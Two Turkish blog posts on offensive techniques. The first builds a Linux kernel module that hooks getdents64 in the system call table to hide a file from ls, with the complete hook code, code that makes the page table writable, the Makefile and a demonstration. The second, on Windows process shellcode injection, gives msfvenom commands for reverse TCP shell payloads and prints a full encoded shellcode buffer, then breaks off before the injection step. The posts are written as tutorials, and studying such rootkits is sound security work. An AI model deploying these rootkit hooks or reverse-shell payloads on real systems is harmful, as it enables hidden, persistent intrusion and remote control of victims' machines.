<p>Diyelim ki <strong>ls</strong> komutu çalıştığında <strong>Rootkit</strong>‘imiz gösterilmesin istiyoruz. Bunun için bizim <strong>ls</strong> komutunun içerisindeki <strong>System Call</strong>‘leri <strong>Hook</strong> edip <strong>ls</strong> komutu çalıştığında gelen liste içerisinde bizim komutumuzu gizlemek.</p>
<p>İlerideki kısımlarda basitce bunu yapacağız ama ondan önce <strong>System Call</strong> kavramının ne olduğunu öğrenelim.</p>
<p>Aklınızda ingilizce olarak kalmasını istediğimden buradaki terimleri ingilizce kullanarak devam edicem anlatmaya.</p>
<p><strong>System Call</strong>‘lerini aşşağıda ki resimden anlatmaya başlayalım yavaşca :</p>
<p><img src="http://www.cs.uregina.ca/Links/class-info/330-bkup/SystemCall_IO/System_Calls.gif" alt="" /></p>
<p>Öncelike bizim <strong>Executable</strong>‘ımız <strong>Library Functions</strong>‘a gider program içerisinde kullanılacak fonksiyonları almak için yada direk olarak <strong>System call</strong>‘larına başvurur resimde de görebildiğiniz gibi.</p>
<p>Ayrıca resimde ki okları takip edersek şayet bu <strong>System Call</strong>‘ların <strong>Kernel</strong>‘e sonrasında ise <strong>Hardware</strong>‘e bağlandığını gözlemleyebiliriz.</p>
<p><strong>System Call</strong>‘lerin neler olduğunu soracak olursanız aşşağıda bir kaçını listeleyen bir resim bırakıyorum. Tüm sistem çağrılarına yani <strong>System Call</strong>‘lara ulaşmak istiyorsanız resmin üstüne de fotorafı aldığım web siteyi bırakacağım.</p>
<p><a href="https://syscalls.kernelgrok.com/">Linux Syscall Reference</a>
<img src="https://i.hizliresim.com/MVO54g.png" alt="" /></p>
<p>Yani daha basite indirge edersek şayet <strong>System Call</strong>‘leri bir program içerisinde kullandığımız örneğin <strong>printf</strong> gibi bir <strong>Library Function</strong>‘unun sistem’e uyarlanmış halidir.</p>
<p><strong>System Call</strong>‘lerini anladığımıza göre <strong>Hooking</strong> terimine geçebiliriz. Bu terimi daha önce yazdığım blogum olan <a href="https://blacknbunny.github.io/2019/04/14/Linux-Function-Hooking.html">Linux Function Hooking</a> içerisinde anlattım o yüzden bu blogumda anlatmıyacağım.</p>
<p>Şimdi gelelim bilalin topu kaleye nasıl soktuğuna, pardon pardon bu başka konuydu… yine karıştırdım.</p>
<p>Gelelim <strong>System Call</strong>‘lerinin nasıl <strong>Hook</strong> edildiğine.</p>
<p>Aslında bu konuda daha önce anlattığım <strong>Function Hooking</strong>‘e çok benzer bir konu. Aralarında ki bir kaç fark birinin <strong>User-mode</strong> içerisinde bu yazının ise <strong>Kernel-mode</strong> içerisinde geçmesi.</p>
<p><img src="https://i.hizliresim.com/GmdQVV.jpg" alt="" /></p>
<p>Buraya birde <strong>User-mode</strong> ve <strong>Kernel-mode</strong> arasındaki farkları anlatan bir stackoverflow çözümünü bırakıyorum : <a href="https://stackoverflow.com/questions/1311402/what-is-the-difference-between-user-and-kernel-modes-in-operating-systems">User vs Kernel</a></p>
<h1 id="system-call-trace">System Call Trace</h1>
<p>Şayet bir <strong>Executable</strong> içerisinde bulunan <strong>System Call</strong>‘leri yakalamak ve incelemek istiyorsak linux içerisinde bulunan <strong>strace</strong> komutumuz bize çok yardımcı olacaktır.</p>
<p>Nasıl çalıştığını bilmeyen arkadaşlar için buraya <strong>strace</strong> komutunu anlatan bir yazı bırakıyorum : <a href="https://www.tecmint.com/strace-commands-for-troubleshooting-and-debugging-linux/">Strace</a></p>
<h1 id="ls-komutunu-hook-etme">LS komutunu hook etme</h1>
<p>Öncelik ile <strong>ls</strong> komutunun hangi <strong>System Call</strong>‘lerini içerdiğini görmek için <strong>strace</strong> komutunu kullanıyoruz ve çıktımız şu şekilde oluyor :</p>
<p>Biraz uzun olduğu için pastebin’e ekledim çıktıyı : <a href="https://pastebin.com/fRjDHF2T">Strace çıktısı</a></p>
<p>Bu çıktının içerisinde gözümüze çarpan bir sürü <strong>System Call</strong> mevcut olan ve dizin girişlerini alan <strong>getdents64</strong> sistem çağrısı ilgimizi çekiyor ve <a href="http://man7.org/linux/man-pages/man2/getdents.2.html">man page</a>‘ini incelediğimizde görebiliriz ki :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
</code></pre></div></div>
<p>4 adet argüman alıyor ama bu argümanların içerisinde bir <strong>structure</strong> yani bir yapı olan <strong>linux_dirent64</strong> diğerlerinden farklı olarak <strong>ls</strong> komutu çalıştıktan sonra gelen listeyi döndürüyor :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
/* length is actually (d_reclen - 2 -
offsetof(struct linux_dirent, d_name)) */
/*
char pad; // Zero padding byte
char d_type; // File type (only since Linux
// 2.6.4); offset is (d_reclen - 1)
*/
}
</code></pre></div></div>
<p>Ayrıca man page içerisinde bu <strong>System Call</strong>‘ın <strong>readdir.c</strong> içerisinde kullanıldığını görebiliyoruz.</p>
<p>Artık bundan sonrası <strong>LKM</strong> yani <strong>Loadable Kernel Module</strong> development’e giriyor ve bunun ne olduğunu bilmeyen arkadaşlarımız varsa aramızda onlar içinde bir yazı yazdım.</p>
<p>Buradan ulaşabilirsiniz : <a href="https://blacknbunny.github.io/2019/04/22/loadable-kernel-module.html">Loadable Kernel Module Development</a></p>
<h1 id="system-call-hooking-i̇çin-lkm-geliştirmek">System Call Hooking İçin LKM Geliştirmek</h1>
<p><strong>Strace</strong> komutunu kullanıp <strong>ls</strong> içerisinden <strong>getdents64</strong> sistem çağrısını incelersek şayet:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deadbeef@pop-os:~$ strace ls 2>&1 | grep getdents64
getdents64(3, /* 30 entries */, 32768) = 960
getdents64(3, /* 0 entries */, 32768) = 0
deadbeef@pop-os:~$
</code></pre></div></div>
<p>30 adet entry olduğunu görebiliriz bulunduğumuz klasör içerisinde. Doğrulamak için de <strong>wc</strong> komutunu kullanabiliriz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deadbeef@pop-os:~$ ls -la | wc -l
30
</code></pre></div></div>
<p>Şimdi elde ettiğimiz tüm bu bilgiler ile <strong>LKM</strong>‘mizi geliştirmeye başlayalım yavaştan.</p>
<p>Bu kısımı çok basit anlatacağım aramızda anlamakta zorlanan arkadaşlar olur diye.</p>
<p>Ve tam anlatmaya başlarken kız arkadaşım kabus görüp kalkıyor.</p>
<p>Evet onu yatıştırdıktan sonra yazıya devam edebilirim.</p>
<p>Öncelikle kütüphanelerimizi ekleyelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/semaphore.h>
#include <linux/dirent.h>
#include <asm/cacheflush.h>
</code></pre></div></div>
<p>Sonrasında yazacağımız <strong>LKM</strong>‘nin detaylarını girelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MODULE_AUTHOR("blacknbunny");
MODULE_DESCRIPTION("LS Komutundan cokgizlidosya.txt yi gizlemek");
MODULE_LICENSE("GPL");
</code></pre></div></div>
<p>İleride daha detaylı anlatacağım <strong>sys_call_table</strong> :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>void **sys_call_table;
</code></pre></div></div>
<p><strong>LS</strong> komutundan saklayacağımız dosya :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#define DOSYA_ISMI "cokgizlidosya.txt"
</code></pre></div></div>
<p>Orjinal <strong>getdents64</strong> sistem çağrısı :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>asmlinkage int (*org_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
</code></pre></div></div>
<p>Bu orjinal sistem çağrısı yerine bizim aktaracağımız hookumuz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
int returnval;
struct linux_dirent64 *cur = dirp;
int i = 0;
returnval = org_getdents64(fd, dirp, count);
while (i < returnval) {
if (strncmp(cur->d_name, DOSYA_ISMI, strlen(DOSYA_ISMI)) == 0) {
int reclen = cur->d_reclen;
char *next_rec = (char *)cur + reclen;
int len = (int)dirp + returnval - (int)next_rec;
memmove(cur, next_rec, len);
returnval -= reclen;
continue;
}
i += cur->d_reclen;
cur = (struct linux_dirent*) ((char*)dirp + i);
}
return returnval;
}
</code></pre></div></div>
<p>Tüm bilgileri toplayıp birleştirdikten sonra bu hooku yazdım.</p>
<p>Hooku basitce açıklayacak olursam. <strong>linux_dirent64</strong> <strong>struct</strong>‘u üzerinde bir döngü oluşturduk ve her bir dosya ismini aradık.</p>
<p>Bizim belirttiğimiz gizlenilecek dosya ile aynı ismi taşıyorsa bunu <strong>ls</strong> komutunda gösterme dedik.</p>
<h1 id="system-call-table">System Call Table</h1>
<p>Şimdi geldik değirmenin döndüğü yere.</p>
<p><strong>System Call Table</strong> yani <strong>sys_call_table</strong> kernelin içerdiği tüm sistem çağrılarını tutar. Aynı zamanda <strong>hafıza</strong> yani <strong>memory</strong> içerisinde nerede olduğunu bize gösterir.</p>
<p><strong>System Call Table</strong>‘nin adresini linux içerisinde bulmamız gerek ki gerçek <strong>System Call</strong> ile bizim yazdığımız sahte <strong>Hook</strong> sistem çağrısını değiştirebilelim.</p>
<p>Ve bu şekilde her <strong>ls</strong> komutu çalıştığında gerçek <strong>getdents64</strong> sistem çağrısı yerine bizim <strong>hook_getdents64</strong> sistem çağrımız çalışıcak.</p>
<p>Yazdığımız hook belirttiğimiz dosyayı gizlemeye yaradığından <strong>ls</strong> komutu çalıştığında hiçbir şekilde görülemeyecek.</p>
<p><strong>sys_call_table</strong>‘nin adresini bulmak için <strong>/boot</strong> içerisinde bulunan <strong>System.map</strong>‘e bakmamız gerekiyor :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deadbeef@pop-os:~$ sudo grep sys_call_table /boot/System.map-`uname -r`
ffffffff820001c0 R sys_call_table
ffffffff820015a0 R ia32_sys_call_table
</code></pre></div></div>
<p>Ve bu şekilde <strong>sys_call_table</strong>‘mizin adresini bulduk <strong>ffffffff820001c0</strong></p>
<p>Şimdide bu <strong>sys_call_table</strong>‘ı yazılabilir yapmamız gerek ki asıl sistem çağrısı ile bizim sahte yani <strong>Hook</strong> sistem çağrısını değiştirebilelim.</p>
<p>Bunuda yapmak için vereceğimiz <strong>sys_call_table</strong> adresinin <strong>table entry</strong>‘sini <strong>manual</strong> olarak writable yapmamız gerek.</p>
<p>Bu stackoverflow sorusunun cevaplarında bunu yapmak için bir sürü teknik var bakmak isterseniz : <a href="https://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example">StackOverflow sys_call_table</a></p>
<p>Bunuda <strong>lookup_address</strong> fonksiyonu ile <strong>page table</strong>‘nin adresini bulup sonrasında içerisinde <strong>sys_call_table</strong>‘ye yazma yetkisi vermeliyiz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int set_page_rw(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
return 0;
}
</code></pre></div></div>
<p>Günün sonunda bu yazdığımız <strong>LKM</strong>‘yi <strong>kernel</strong>‘e yükleyeceğiz fakat sonrasında bunu sildiğimizde herşeyin tekrar aynı haline dönmesi olayıda var birde.</p>
<p>Bunun içinde eğer <strong>sys_call_table</strong>‘yi tekrardan <strong>Read-Only</strong> yapmak istiyorsak yine aynı tekniği kullanabiliriz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int set_page_ro(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
return 0;
}
</code></pre></div></div>
<p>Yetkilendirmeleri merak edenler varsa <strong>arch/x86/include/asm/pgtable_types.h</strong> içerisinden küçük bir liste :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#define _PAGE_BIT_PRESENT 0 /* is present */
#define _PAGE_BIT_RW 1 /* writeable */
#define _PAGE_BIT_USER 2 /* userspace addressable */
#define _PAGE_BIT_PWT 3 /* page write through */
#define _PAGE_BIT_PCD 4 /* page cache disabled */
#define _PAGE_BIT_ACCESSED 5 /* was accessed (raised by CPU) */
#define _PAGE_BIT_DIRTY 6 /* was written to (raised by CPU) */
#define _PAGE_BIT_PSE 7 /* 4 MB (or 2MB) page */
#define _PAGE_BIT_PAT 7 /* on 4KB pages */
#define _PAGE_BIT_GLOBAL 8 /* Global TLB entry PPro+ */
#define _PAGE_BIT_UNUSED1 9 /* available for programmer */
#define _PAGE_BIT_IOMAP 10 /* flag used to indicate IO mapping */
#define _PAGE_BIT_HIDDEN 11 /* hidden by kmemcheck */
#define _PAGE_BIT_PAT_LARGE 12 /* On 2MB or 1GB pages */
#define _PAGE_BIT_SPECIAL _PAGE_BIT_UNUSED1
#define _PAGE_BIT_CPA_TEST _PAGE_BIT_UNUSED1
#define _PAGE_BIT_SPLITTING _PAGE_BIT_UNUSED1 /* only valid on a PSE pmd */
#define _PAGE_BIT_NX 63 /* No execute: only valid after cpuid check */
#define _PAGE_PRESENT (_AT(pteval_t, 1) << _PAGE_BIT_PRESENT)
#define _PAGE_RW (_AT(pteval_t, 1) << _PAGE_BIT_RW)
#define _PAGE_USER (_AT(pteval_t, 1) << _PAGE_BIT_USER)
#define _PAGE_PWT (_AT(pteval_t, 1) << _PAGE_BIT_PWT)
#define _PAGE_PCD (_AT(pteval_t, 1) << _PAGE_BIT_PCD)
#define _PAGE_ACCESSED (_AT(pteval_t, 1) << _PAGE_BIT_ACCESSED)
#define _PAGE_DIRTY (_AT(pteval_t, 1) << _PAGE_BIT_DIRTY)
#define _PAGE_PSE (_AT(pteval_t, 1) << _PAGE_BIT_PSE)
#define _PAGE_GLOBAL (_AT(pteval_t, 1) << _PAGE_BIT_GLOBAL)
#define _PAGE_UNUSED1 (_AT(pteval_t, 1) << _PAGE_BIT_UNUSED1)
#define _PAGE_IOMAP (_AT(pteval_t, 1) << _PAGE_BIT_IOMAP)
#define _PAGE_PAT (_AT(pteval_t, 1) << _PAGE_BIT_PAT)
....
#define _PAGE_PAT_LARGE (_AT(pteval_t, 1) << _PAGE_BIT_PAT_LARGE)
#define _PAGE_SPECIAL (_AT(pteval_t, 1) << _PAGE_BIT_SPECIAL)
#define _PAGE_CPA_TEST (_AT(pteval_t, 1) << _PAGE_BIT_CPA_TEST)
#define _PAGE_SPLITTING (_AT(pteval_t, 1) << _PAGE_BIT_SPLITTING)
</code></pre></div></div>
<p>Modül yüklendiğinde yani <strong>insmod</strong> çalıştığında :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>static int __init getdents_hook_init(void)
{
sys_call_table = (void*)0xffffffff820001c0;
org_getdents64 = sys_call_table[__NR_getdents64];
set_page_rw(sys_call_table);
sys_call_table[__NR_getdents64] = hook_getdents64;
return 0;
}
</code></pre></div></div>
<p><strong>LKM</strong>‘mizi oluşturup <strong>kernel</strong>‘e dahil ettikten sonra çalışacak fonksiyon.</p>
<p><strong>ÖNEMLİ</strong> : Buradaki <strong>sys_call_table = (void*)0xsizinsyscalltableadresiniz;</strong></p>
<p>Kısmını kendi <strong>sys_call_table</strong> adresiniz ile değiştirmeniz gerekli.</p>
<p>Nasıl bulacağınızı yukarıda anlatmıştım eğer blog içerisinde bulamadıysanız hemen <strong>CTRL + F</strong> yapıp <strong>System.map</strong> bunu arayın orada <strong>sys_call_table</strong> adresinin nasıl bulunacağını anlattım.</p>
<p>Şimdi geldik eğer bunu silmek istersek kısmına :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>static void __exit getdents_hook_exit(void)
{
sys_call_table[__NR_getdents64] = org_getdents64;
set_page_ro(sys_call_table);
return 0;
}
</code></pre></div></div>
<p>Eğer oluşturduğumuz <strong>LKM</strong>‘yi silersek oluşturduğumuz sahte <strong>Hook</strong> fonksiyonunu <strong>sys_call_table</strong>‘den çıkartıp herşeyi tekrar eski haline çevirmesini söylüyoruz programımıza aynı zamanda <strong>table entry</strong>‘ide tekrardan <strong>Read-Only</strong> yapıyoruz.</p>
<p>Şimdi tüm bu yazdığımız kodları tek bir bütün haline almaya geldi sıra hepsini pastebine yüklüyorum. İçerisinden değiştirmeniz gereken tek kısım <strong>sys_call_table</strong> adresi.</p>
<p>Kod : <a href="https://pastebin.com/a4MF1J7T">System Call Hooking Code</a></p>
<h1 id="make">Make</h1>
<p>Şimdi sıra geldi bu kodu derlemeye.</p>
<p><strong>Makefile</strong> isminde bir dosya oluşturun ve yukarıda yazdığımız kodu nasıl kaydettiyseniz burada bulunan <strong>syscallhook.o</strong> ismini onunla değiştiriniz.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>obj-m += syscallhook.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
</code></pre></div></div>
<p><strong>make</strong> komutunu çalıştırıp derledikten sonra çıktımız :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@heyhey:~/hey# make
make -C /lib/modules/4.4.0-78-generic/build M=/root/hey modules
make[1]: Entering directory `/usr/src/linux-headers-4.4.0-78-generic'
CC [M] /root/hey/syscallhook.o
/root/hey/syscallhook.c: In function ‘hook_getdents64’:
/root/hey/syscallhook.c:36:21: warning: assignment from incompatible pointer type [enabled by default]
cur = (struct linux_dirent*) ((char*)dirp + i);
^
/root/hey/syscallhook.c: In function ‘getdents_hook_init’:
/root/hey/syscallhook.c:63:3: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
set_page_rw(sys_call_table);
^
/root/hey/syscallhook.c:41:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
int set_page_rw(unsigned long addr)
^
/root/hey/syscallhook.c: In function ‘getdents_hook_exit’:
/root/hey/syscallhook.c:71:3: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
set_page_ro(sys_call_table);
^
/root/hey/syscallhook.c:49:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
int set_page_ro(unsigned long addr)
^
/root/hey/syscallhook.c:72:9: warning: ‘return’ with a value, in function returning void [enabled by default]
return 0;
^
Building modules, stage 2.
MODPOST 1 modules
CC /root/hey/syscallhook.mod.o
LD [M] /root/hey/syscallhook.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.4.0-78-generic'
</code></pre></div></div>
<p><strong>LKM</strong>‘mizi derledikten sonra şimdi sıra geldi <strong>ls</strong> komutundan kaçıracağımız baştada belirttiğimiz dosya ismini oluşturmaya :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@heyhey:~/hey# touch cokgizlidosya.txt
</code></pre></div></div>
<p>Bundan sonrası ziyafet. Şimdi oluşturduğumuz modülü kernel içerisine <strong>insmod</strong> komutu ile aktaralım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@heyhey:~/hey# insmod ./syscallhook.ko
</code></pre></div></div>
<p>Modülü yüklemeden önce <strong>ls</strong> komutunun bulduğu dosyalar :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> root@heyhey:~/hey# ls
cokgizlidosya.txt Module.symvers syscallhook.mod.c
Makefile syscallhook.c syscallhook.mod.o
modules.order syscallhook.ko syscallhook.o
</code></pre></div></div>
<p>Modülü yükledikten sonra <strong>ls</strong> komutunun bulduğu dosyalar :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> root@heyhey:~/hey# ls
Makefile Module.symvers syscallhook.ko syscallhook.mod.o
modules.order syscallhook.c syscallhook.mod.c syscallhook.o
</code></pre></div></div>
<p>Gördüğünüz gibi <strong>ls</strong> komutundan <strong>cokgizlidosya.txt</strong> dosyamızı gizlemeyi <strong>System Call Table</strong> içerisindeki <strong>ls</strong> komutunun kullandığı sistem çağrılarını hook ederek başardık.</p>
<p>Bu modülü silip herşeyi eski haline çevirmek için :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> root@heyhey:~/hey# rmmod syscallhook
</code></pre></div></div>
<p>Ve bu yazının da sonunda geldik. Umarım açıklayıcı anlatabilmişimdir.</p>
<p>Sorular için twitter hesabım : <a href="https://twitter.com/0DAYanc">@0DAYanc</a></p>Linux System Call HookingProcess Shellcode Injection2019-04-28T00:00:00+00:002019-04-28T00:00:00+00:00blacknbunny.github.io/2019/04/28/Process-Shellcode-Injection<h3 id="process-shellcode-injection">Process Shellcode Injection</h3>
<p>Merhaba arkadaşlar yeni yazıma hoşgeldiniz.</p>
<p>Çinliler ile olan birkaç serüvenim yüzünden bu yazıyı biraz geç yazmak zorunda kaldım.</p>
<p>Serüvenlerden <a href="https://twitter.com/0DAYanc/status/1121174960209301504">bir tanesini twitterde</a> paylaştım bakmak isterseniz.</p>
<p>Hiç uzatmadan yazımıza geçelim. Bu yazımızda <strong>windows</strong> içerisinde bulunan <strong>process</strong>‘ler içerisine nasıl <strong>shellcode</strong> <strong>inject</strong> edebileceğimizi göreceğiz.</p>
<p>Öncelikle yazımıza geçmeden önce <strong>C</strong>, <strong>Windows Memory Management</strong>, <strong>Heap - Stack</strong> gibi kavramlara alışık olduğunuzu varsayıp bu yazıyı devam ettiriyorum.</p>
<h2 id="bilmemiz-gereken-kavramlar">Bilmemiz gereken kavramlar</h2>
<h1 id="shellcode-nedir-">Shellcode Nedir ?</h1>
<p><em>Shellcode kabuk kod demektir. Bunlara kısaca <strong>Hexcode</strong> veya <strong>Hex</strong> de diyebiliriz.</em></p>
<p><em>Örneğin büyük <strong>A</strong> harfinin <strong>shellcode</strong> yani <strong>hexcode</strong> yani <strong>hex</strong> karşılığı <strong>0x41</strong>‘dir.</em></p>
<p>Basit bir şekilde <strong>makine kodu</strong> dur.</p>
<p><em><strong>İşletim sistemi</strong> ve <strong>User-mode application</strong>‘ların birbirleri ile anlaştığı dil de diyebiliriz.</em></p>
<h1 id="process-nedir-">Process Nedir ?</h1>
<p><em><strong>İşletim sistemi</strong>‘nin arka planında çalışan <strong>Uygulamalar</strong> yani <strong>User-mode applications</strong> diyebiliriz.</em></p>
<h1 id="process-shellcode-injection-nedir-">Process Shellcode Injection Nedir ?</h1>
<p><em>Yukarıda ki iki terimi birleştirip yanına <strong>Injection</strong> eklediğimizde oluşan kavram.</em></p>
<p><em>Ya da daha kompleks şekilde mevcut bir <strong>process</strong> içerisinde çalışan <strong>hexcode</strong>‘ların önüne eklediğimiz yeni <strong>hexcode</strong>‘lar da <strong>Process Shellcode Injection</strong> kavramına uygundur.</em></p>
<h2 id="herşeyden-önce">Herşeyden önce</h2>
<p>Birazdan yazmaya ve anlatmaya başlayacağımız <strong>Process Shellcode Injection</strong>‘u gerçekleştirmek için gerekli olan kaynak kodu <strong>derleme</strong> sıkıntısı yaşayanlar olursa <strong>Visual Studio 2019 Community</strong> IDE’sini indirip içerisinde derleyebilir.</p>
<h2 id="kaynak-kodumuza-geçelim">Kaynak kodumuza geçelim</h2>
<p>Kütüphanelerimizi dahil edelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <windows.h>
#include <psapi.h>
#include <stdio.h>
</code></pre></div></div>
<p>Main fonksiyonumuzu oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int main(int argc, char** argv) {
}
</code></pre></div></div>
<p>Şimdi geldik biraz zahmetli kısıma :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>unsigned char shellcode[] = "shellcodeburaya";
</code></pre></div></div>
<p>Bu kısım bizim <strong>process</strong> içerisinde çalıştıracağımız <strong>hexcode</strong> yani <strong>shellcode</strong>‘umuzu içeriyor.</p>
<p>Bunu oluşturmak için uğraşmadan <strong>metasploit</strong> içerisinde bulunan <strong>msfvenom</strong> toolundan yararlanabiliriz.</p>
<p><strong>x64</strong> için :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f c -b \x00\x0a\x0d
</code></pre></div></div>
<p><strong>x32</strong> için:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/shell/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f c -b \x00\x0a\x0d
</code></pre></div></div>
<p>Burada bulunan <strong>LHOST</strong> ve<strong>LPORT</strong> kısmını kendinize göre düzenlediğinizi varsayıyorum</p>
<p>Komutu çalıştırdıktan sonra bize <strong>C</strong> ile uyumlu bir <strong>shellcode</strong> gelecek aşşağıda yüklediğim fotoraftaki gibi :</p>
<p><img src="https://i.hizliresim.com/16QMMA.png" alt="" /></p>
<p>Bu gelen <strong>shellcode</strong>‘u yukarıdaki <strong>buffer</strong>‘imize ekleyelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x9e\xfc\xbf\xb8\x05\xa1\x62\x7f\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x62\xb4\x3c\x5c\xf5\x49"
"\xa2\x7f\x9e\xfc\xfe\xe9\x44\xf1\x30\x2e\xc8\xb4\x8e\x6a\x60"
"\xe9\xe9\x2d\xfe\xb4\x34\xea\x1d\xe9\xe9\x2d\xbe\xb4\x34\xca"
"\x55\xe9\x6d\xc8\xd4\xb6\xf2\x89\xcc\xe9\x53\xbf\x32\xc0\xde"
"\xc4\x07\x8d\x42\x3e\x5f\x35\xb2\xf9\x04\x60\x80\x92\xcc\xbd"
"\xee\xf0\x8e\xf3\x42\xf4\xdc\xc0\xf7\xb9\xd5\x2a\xe2\xf7\x9e"
"\xfc\xbf\xf0\x80\x61\x16\x18\xd6\xfd\x6f\xe8\x8e\xe9\x7a\x3b"
"\x15\xbc\x9f\xf1\x04\x71\x81\x29\xd6\x03\x76\xf9\x8e\x95\xea"
"\x37\x9f\x2a\xf2\x89\xcc\xe9\x53\xbf\x32\xbd\x7e\x71\x08\xe0"
"\x63\xbe\xa6\x1c\xca\x49\x49\xa2\x2e\x5b\x96\xb9\x86\x69\x70"
"\x79\x3a\x3b\x15\xbc\x9b\xf1\x04\x71\x04\x3e\x15\xf0\xf7\xfc"
"\x8e\xe1\x7e\x36\x9f\x2c\xfe\x33\x01\x29\x2a\x7e\x4e\xbd\xe7"
"\xf9\x5d\xff\x3b\x25\xdf\xa4\xfe\xe1\x44\xfb\x2a\xfc\x72\xdc"
"\xfe\xea\xfa\x41\x3a\x3e\xc7\xa6\xf7\x33\x17\x48\x35\x80\x61"
"\x03\xe2\xf1\xbb\xd6\x11\x4d\xc1\xcf\x8d\xb8\x05\xe0\x34\x36"
"\x17\x1a\xf7\x39\xe9\x01\x63\x7f\x9e\xb5\x36\x5d\x4c\x1d\x60"
"\x7f\x8f\xa0\x7f\x10\x05\xc9\x23\x2b\xd7\x75\x5b\xf4\x8c\x50"
"\x23\xc5\xd2\x8b\x99\xbf\xfa\x74\x2e\xf6\x74\x94\xbe\xb9\x05"
"\xa1\x3b\x3e\x24\xd5\x3f\xd3\x05\x5e\xb7\x2f\xce\xb1\x8e\x71"
"\x48\x90\xa2\x37\x61\x3c\xf7\x31\xc7\xe9\x9d\xbf\xd6\x75\x7e"
"\xf9\xbf\x4b\x6d\xa0\x7e\x03\x6a\xf0\x8c\x66\x08\x6f\xdf\xa4"
"\xf3\x31\xe7\xe9\xeb\x86\xdf\x46\x26\x1d\x71\xc0\x9d\xaa\xd6"
"\x7d\x7b\xf8\x07\xa1\x62\x36\x26\x9f\xd2\xdc\x05\xa1\x62\x7f"
"\x9e\xbd\xef\xf9\x55\xe9\xeb\x9d\xc9\xab\xe8\xf5\x34\x61\x08"
"\x72\xc7\xbd\xef\x5a\xf9\xc7\xa5\x3b\xba\xa8\xbe\xb9\x4d\x2c"
"\x26\x5b\x86\x3a\xbf\xd0\x4d\x28\x84\x29\xce\xbd\xef\xf9\x55"
"\xe0\x32\x36\x61\x3c\xfe\xe8\x4c\x5e\xaa\x32\x17\x3d\xf3\x31"
"\xc4\xe0\xd8\x06\x52\xc3\x39\x47\xd0\xe9\x53\xad\xd6\x03\x75"
"\x33\x0b\xe0\xd8\x77\x19\xe1\xdf\x47\xd0\x1a\x92\xca\x3c\xaa"
"\xfe\x02\xa3\x34\xdf\xe2\x61\x29\xf7\x3b\xc1\x89\x5e\x79\xe2"
"\xf6\x3f\x43\xe5\xd4\x67\xc4\xd9\xef\xcd\xd7\x6f\xa1\x3b\x3e"
"\x17\x26\x40\x6d\x05\xa1\x62\x7f";
</code></pre></div></div>
<p>Şimdi sıra geldi bu <strong>Shellcode</strong>‘u belirteceğimiz <strong>process</strong>‘in içine eklemeye.</p>
